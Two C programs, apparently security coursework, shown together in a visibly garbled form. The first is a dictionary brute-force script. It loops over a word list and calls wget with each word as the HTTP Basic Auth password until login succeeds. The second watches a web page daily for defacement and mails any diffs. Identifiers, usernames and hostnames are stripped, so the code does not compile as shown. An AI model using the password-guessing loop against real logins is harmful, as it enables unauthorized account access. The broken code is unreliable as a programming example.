#include<stdio.h>
#include<string.h>
#include<strings.h>
#include<stdlib.h>
#include<sys/time.h>

()
{
	int i,m,k,count=0;
	FILE* diction;
	FILE* log;
	char s[30];
	char pic[30];
	char add[1000];
	char end[100];
	time_t ,finish;
	double ttime;
	
	strcpy(add,"wget --http-user= --http-passwd=");
	strcpy( end,"-nv -o logd http://sec-crack.cs.rmit.edu./SEC/2/");
	diction=fopen("/usr/share/lib/dict/words","r");
	=time(NULL);
	while(fgets(s,100,diction)!=NULL)	
	{	
		printf("%s\n",s);
		for(m=40,k=0;k<(strlen(s)-1);k++,m++)
		{
			add[m]=s[k];
		}
		add[m++]=' ';
		for(i=0;i<50;i++,m++)
		{
			add[m]=end[i];
		}
		add[m]='\0';
		
		system(add);
		count++;
		log=fopen("logd","r");
		fgets(pic,100,log);
		printf("%s",pic);
		if(strcmp(pic,"Authorization failed.\n")!=0)	
		{
			finish=time(NULL);
			ttime=difftime(,finish);
			printf( "\n The time_var take:%f/n The  of passwords tried is %d\n",ttime,count);
			break;
		}
		fclose(log);
	}

}

#include<stdlib.h>
#include<stdio.h>
#include<ctype.h>



int 
(int argc, char *argv[])
{
	FILE           *fp;

	int             response, difference, diffimage;

	system("mkdir backup");
	system("mkdir backup/images");
	while (1) {
		response = system("wget -p http://www.cs.rmit.edu./students");


		if ((fp = fopen("./backup/index.html", "r")) == NULL) {
			system("cp www.cs.rmit.edu./students/index.html ./backup");
			system("cp www.cs.rmit.edu./images/*.* ./backup/images");
			system("md5sum ./backup/images/*.* > ./backup/md5sumprior.txt");
			
		} else {
			difference = 0; diffimage = 0;
			difference = system("diff ./backup/index.html www.cs.rmit.edu./students/index.html > data");
			
			system("md5sum www.cs.rmit.edu./images/*.* > ./backup/md5sumlater.txt");
			diffimage = system("diff ./backup/md5sumprior.txt ./backup/md5sumlater.txt > md5diff");

			printf("difference=%d, diffimage=%d",difference,diffimage);
						
			if (difference == 0 && diffimage == 0) {
				printf("\nNo modification\n");
			} else {
				printf("\nModification\n");
				system(" data | mail  @cs.rmit.edu.");
				system(" md5diff | mail  @cs.rmit.edu.");
				
			}
			system("cp www.cs.rmit.edu./students/index.html ./backup");
			system("cp www.cs.rmit.edu./images/*.* ./backup/images");
			system("cp ./backup/md5sumlater.txt ./backup/md5sumprior.txt");
			
		}
		
		sleep(86400);
	}
}
